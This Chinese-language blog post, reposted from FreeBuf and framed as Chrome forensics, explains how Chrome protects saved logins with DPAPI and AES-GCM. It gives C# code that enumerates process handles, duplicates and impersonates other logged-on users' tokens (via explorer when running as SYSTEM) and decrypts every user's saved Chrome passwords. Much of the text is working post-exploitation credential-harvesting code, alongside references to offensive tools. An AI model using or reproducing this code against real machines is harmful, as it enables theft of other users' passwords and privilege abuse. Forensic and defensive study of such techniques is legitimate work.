Chrome浏览器取证分析

转自FREEBUF

Chrome浏览器取证分析

做个笔记,记录下最近学习的有关Web浏览器取证的知识,其中包括研究如何解密Chrome浏览器保存在本地的加密登录信息,以及当前进程上下文为SYSTEM或者管理员的情况下如何切换Windows权限,还有遇到多用户在线的情况下如何解密多个用户的密码。

Chrome浏览器登录信息存放在哪里?

Google Chrome的配置文件存放在%LocalAppData%目录下。例如,具有两个Google Chrome账号配置文件的windows用户admin将有一个目录,其中包含每个配置文件的登录数据,每个数据都包含自己的一组存储凭据:

C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default (第一个配置文件的名称)
C:\Users\admin\AppData\Local\Google\Chrome\User Data\Profile 2 (后续的配置文件以迭代数字方式命名)

其中Login Data是SQLite 3数据库文件,里面存放了用户名,网址,加密密码等信息。

登录信息是如何加密保存的?

Login Data 文件主要用于存储用户希望在某些网站上可以自动填充的用户名和密码,研究登录信息只需要查看logins表,其中origin_url是登录网址,username_value列是用户名,password_value列是被加密的用户密码,使用Navicat查看Login Data数据库如下所示:

image

password_value加密的内容。此值使用Microsoft的数据保护API(DPAPI)进行加密,加密方法在80版本后发生部分变化。

从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。

其用作范围包括且不限于:

  • IE、Chrome的登录表单自动完成
  • Powershell加密函数
  • Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。
  • FTP管理账户密码
  • 共享资源文件夹的访问密码
  • 无线网络帐户密钥和密码
  • 远程桌面身份凭证
  • EFS
  • EAP/TLS 和 802.1x的身份凭证
  • Credential Manager中的数据
  • 以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。
  • etc

由于功能需求,Dpapi采用的加密类型为对称加密,所以只要找到了密钥,就能解开物理存储的加密信息了。

image

关于DPAPI的详细原理和介绍看这篇文章里的链接:

https://www.4hou.com/posts/AQzP

chrome version 80(80.0.3987.163) 版本前

chrome80以前的版本是直接可以通过DPAPI中的解密函数 CryptUnprotectData来进行解密的。

chrome version 80 (80.0.3987.163)版本后

利用主密钥使用AES-GCM加密算法加密密码存放Login Data数据库,然后用DPAPI的加密函数CryptProtectData加密主密钥存放在Local State文件。其中Local State文件存放在如下地址(假设windows用户为admin),本质是个json文件,其中一个值os_crypt下的encrypted_key是解密需要用的被加密后的密钥。

C:\Users\admin\AppData\Local\Google\Chrome\User Data\Local State

如何解密登录密码?

主要说明下 80 (80.0.3987.163)版本后的解密方法,从C:\Users\admin\AppData\Local\Google\Chrome\UserData\Local State这个Json中读取一个值os_crypt下的encrypted_key,然后取base64解码后解密密钥去除前5个字符再通过对其dpapi解密出这个值保存为key,前五个字符为DPAPI,并且截取15位去除前3位字符保存为NONCE,最终使用AES-gcm算法解密Login Data读取的password_value,开头三个字节为v10说明是chrome 是80版本及以后版本。

简单介绍下AES-gcm算法原理:

CTR(Counter Mode,计数器模式)

image

图中可以看出,加密过程使用了密钥、Nonce(类似IV)、Counter(一个从0到n的编号),与上文提及的CBC模式相比,CTR最大的优势是可以并行执行,因为所有的块只依赖于Nonce与Counter,并不会依赖于前一个密文块,适合高速传输需求。但CTR不能提供密文消息完整性校验的功能(未被篡改),所以我们需要引入另一个概念:MAC(消息认证码)

MAC(Message Authentication Code, 消息认证码)

是一种用来确认消息完整性并进行认证的技术。通过输入消息与共享密钥,可以生成一段固定长度的数据(MAC值)

image

收发双方需要提前共享一个密钥,发送者使用密钥生成消息的MAC值,并随消息一起发送,接收者通过共享密钥计算收到消息的MAC值,与随附的MAC值做比较,从而判断消息是否被改过(完整性),对于篡改者,由于没有密钥(认证),也就无法对篡改后的消息计算MAC值。

GMAC (Galois message authentication code mode, 伽罗华消息认证码)

GMAC就是利用伽罗华域(Galois Field,GF,有限域)乘法运算来计算消息的MAC值。

GCM(Galois/Counter Mode)

GCM是认证加密模式中的一种,它结合了上述两者的特点(GCM中的G就是指GMAC,C就是指CTR),能同时确保数据的保密性、完整性及真实性,另外,它还可以提供附加消息的完整性校验,加密流程如下图:

image

就像CTR模式下一样,先对块进行顺序编号,然后将该块编号与初始向量(IV)组合,并使用密钥k,对输入做AES加密,然后,将加密的结果与明文进行XOR运算来生成密文。像CTR模式下一样,应该对每次加密使用不同的IV。对于附加消息,会使用密钥H(由密钥K得出),运行GMAC,将结果与密文进行XOR运算,从而生成可用于验证数据完整性的身份验证标签。最后,密文接收者会收到一条完整的消息,包含密文、IV(计数器CTR的初始值)、身份验证标签(MAC值)。

解密流程

  1. 获取local state和Login Data文件位置
  2. 获取local state中加密的key(base64编码)
  3. 数据库语句提取Login Data sqllite文件的password_value
  4. DPAPI解密加密key
  5. ase-gcm解密password_value

如何处理多Windows用户的问题?

参考incognito代码,如果是单个Windows用户,程序运行在当前用户的上下文中使用CryptUnprotectData很简单,但如果是多个Windows用户并且不能在要解密的用户上下文执行程序的情况下会比较复杂。使用CryptUnprotectData的前提是当前用户已登录或者lsass中存放有用户登录凭证的哈希(需要经过Windows用户身份认证),那如果lsass没有存放要解密的用户凭证哈希也就意味着没法解密数据,所以能解密数据的最理想情况是目标用户处于在线状态,虽然可能不在目标用户上下文也不知道用户的明文密码,但是我们可以通过令牌模拟/盗窃的方式来模拟这个在线用户去解密数据,普通用户的权限无法完成这些操作,所以前提是至少拥有管理员权限。

令牌模拟/盗窃的思路主要来源于这个项目:

https://github.com/layerfsd/incognito2

创建一个新的访问令牌,该令牌使用来复制现有令牌DuplicateToken(Ex)。然后可以将该令牌用于ImpersonateLoggedOnUser允许调用线程模拟已登录用户的安全上下文,或者SetThreadToken用于将模拟令牌分配给线程。

public static bool ChangeTokenByName(string username)
{
	//Process[] processes = Process.GetProcessesByName("lsass");
	List<IntPtr> lstHandles = new List<IntPtr>();

	lstHandles = Win32Processes.GetHandlesByName("Token", username);
	foreach (IntPtr Handle in lstHandles)
	{
		Win32API.ImpersonateLoggedOnUser(Handle);
		if (username == Environment.UserName)
		{
			return true;
		}
	}
	return false;
}

如果已知目标用户的明文密码,那么可以直接使用现成项目解密:

https://github.com/GhostPack/SharpDPAPI

当用户为高权限时如何处理?

判断SeImpersonatePrivilege是否enable,一个具有SeImpersonatePrivilege权限的服务进程,可以模拟任何一个连接它的客户端的token,这就是所谓的Impersonation模型。先判断当前运行程序用户是否开启了SeImpersonatePrivilege,如果开启说明是高权限,可以令牌模拟/盗窃,并开始寻找可模拟的用户令牌。

if (Win32Processes.IsPrivilegeEnabled("SeImpersonatePrivilege") && Environment.UserName != "SYSTEM")
{
    List<AddressInfo> addrInfo = new List<AddressInfo>();
    addrInfo = FindDirectories();

    foreach (AddressInfo ai in addrInfo)
    {
        string login_data_tempFile = CreateRandomTempFileAddr(ai.username);
        File.Copy(ai.login_data_path, login_data_tempFile, true);
        Console.WriteLine("[+] Copy {0} to {1}", ai.login_data_path, login_data_tempFile);

        if (ai.username == Environment.UserName)
        {
            ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);
            continue;
        }
        else
        {
            ChangeTokenByName(ai.username);
            Console.WriteLine("--- Chrome Credential (User: {0}) ---", Environment.UserName);
            ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);
            Win32API.RevertToSelf();
            Console.WriteLine("[+] Recvtoself");
        }
    }
}

遍历所有进程中的令牌,寻找除了当前上下文用户的其他用户的令牌:

public static List<IntPtr> GetHandles(Process process, string IN_strObjectTypeName, string IN_strObjectName)
{
    uint nStatus;
    int nHandleInfoSize = 256 * 1000;
    IntPtr ipHandlePointer = Marshal.AllocHGlobal(nHandleInfoSize);
    int nLength = 0;
    IntPtr ipHandle = IntPtr.Zero;
    Win32API.SYSTEM_HANDLE_INFORMATION shHandle;
    List<IntPtr> lstHandles = new List<IntPtr>();

    while ((nStatus = Win32API.NtQuerySystemInformation(SystemProcessInformation, ipHandlePointer, nHandleInfoSize, ref nLength)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        nHandleInfoSize = nLength;
        Marshal.FreeHGlobal(ipHandlePointer);
        ipHandlePointer = Marshal.AllocHGlobal(nLength);
    }

    if (nStatus == Win32API.STATUS_SUCCESS)
    {

        int offset = 0;
        IntPtr tempptr = IntPtr.Zero;
        while (true)
        {
            tempptr = new IntPtr(ipHandlePointer.ToInt64() + offset);
            Win32API.SystemProcessInformation pProcessInfo = (Win32API.SystemProcessInformation)Marshal.PtrToStructure(tempptr, typeof(Win32API.SystemProcessInformation));
            offset += pProcessInfo.NextEntryOffset;
            if (pProcessInfo.InheritedFromProcessId == process.Id)
            {
                IntPtr m_ipProcessHwnd = Win32API.OpenProcess(Win32API.ProcessAccessFlags.All, false, pProcessInfo.InheritedFromProcessId);
                for (long lIndex = 0; lIndex < pProcessInfo.HandleCount; lIndex++)
                {
                    IntPtr handle = IntPtr.Zero;
                    if (Win32API.DuplicateHandle(m_ipProcessHwnd, (ushort)((lIndex + 1) * 8), Win32API.GetCurrentProcess(), out handle, 0, false, Win32API.DUPLICATE_SAME_ACCESS) != false)
                    {
                        string strObjectTypeName = "";
                        string strObjectName = "";

                        strObjectTypeName = GetObjectInfo(handle, ObjectInformationClass.ObjectTypeInformation);
                        strObjectName = GetObjectName(handle);

                        if (strObjectTypeName == IN_strObjectTypeName && strObjectName.Contains(IN_strObjectName))
                        {
                            Console.WriteLine(strObjectName);
                            lstHandles.Add(handle);
                        }
                    }
                }
                break;
            }
            if (pProcessInfo.NextEntryOffset == 0)
                break;
        }

        Marshal.FreeHGlobal(ipHandlePointer);
    }

    return lstHandles;

}

其中SYSTEM权限和普通管理员权限的处理方法有所区别,如果是SYSTEM直接去遍历当前的explorer进程,如果当前有多个用户同时处于登录状态,那么就会有多个用户的explorer进程,不用遍历进程去搜索用户令牌,直接复制explorer进程的令牌即可:

//SYSTEM
else if (Environment.UserName == "SYSTEM")
{
    List<AddressInfo> addrInfo = new List<AddressInfo>();
    addrInfo = FindDirectories();

    foreach (Process p in Process.GetProcesses())
    {
        int pid = p.Id;
        string processname = p.ProcessName;
        string process_of_user = GetProcessUserName(pid);
        //Recvtoself
        if (processname == "explorer")
        {
            Console.WriteLine("[*] [{0}] [{1}] [{2}]", pid, processname, process_of_user);

            IntPtr hProcess = Win32API.OpenProcess(Win32API.ProcessAccessFlags.QueryInformation, true, pid);
            if (hProcess == IntPtr.Zero) continue;
            IntPtr hToken = new IntPtr();
            if (!Win32API.OpenProcessToken(hProcess, Win32API.TOKEN_IMPERSONATE | Win32API.TOKEN_DUPLICATE, out hToken)) continue;
            IntPtr DuplicatedToken = new IntPtr();
            if (!Win32API.DuplicateToken(hToken, 2, ref DuplicatedToken)) continue;
            if (!Win32API.SetThreadToken(IntPtr.Zero, DuplicatedToken)) continue;

            foreach (AddressInfo ai in addrInfo)
            {
                if (ai.username == Environment.UserName)
                {
                    string login_data_tempFile = CreateRandomTempFileAddr(ai.username);
                    File.Copy(ai.login_data_path, login_data_tempFile, true);
                    Console.WriteLine("[+] Copy {0} to {1}", ai.login_data_path, login_data_tempFile);

                    Console.WriteLine("--- Chrome Credential (User: {0}) ---", Environment.UserName);
                    ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);
                }
            }
            //IE_history();

            //回退权限
            Win32API.RevertToSelf();
            Console.WriteLine("[*] Recvtoself");
        }
    }
}

模拟成功解密后需要RevertToSelf()回退到原来的权限,然后继续执行。

如果是普通用户权限,直接解密当前用户的Chrome浏览器密码:

//User
else
{
    List<AddressInfo> addrInfo = new List<AddressInfo>();
    addrInfo = FindDirectories();
    foreach (AddressInfo ai in addrInfo)
    {
        if (ai.username == Environment.UserName)
        {
            string login_data_tempFile = CreateRandomTempFileAddr(ai.username);
            File.Copy(ai.login_data_path, login_data_tempFile, true);
            Console.WriteLine("[+] Copy {0} to {1}", ai.login_data_path, login_data_tempFile);
            ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);
        }
    }
}
Console.WriteLine("[+] Current user {0}", Environment.UserName);

程序流程图

image

参考文章和项目

https://apr4h.github.io/2019-12-20-Harvesting-Browser-Credentials/

https://www.anquanke.com/post/id/220991

https://www.4hou.com/posts/AQzP

https://www.freebuf.com/sectool/232490.html

https://xz.aliyun.com/t/2000

https://xz.aliyun.com/t/6508#toc-4

https://www.anquanke.com/post/id/187895

https://github.com/layerfsd/incognito2

https://www.passcape.com/index.php?section=docsys&cmd=details&id=28

https://github.com/QAX-A-Team/BrowserGhost

https://github.com/layerfsd/incognito2

https://github.com/GhostPack/SharpDPAPI

https://github.com/djhohnstein/SharpChromium

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注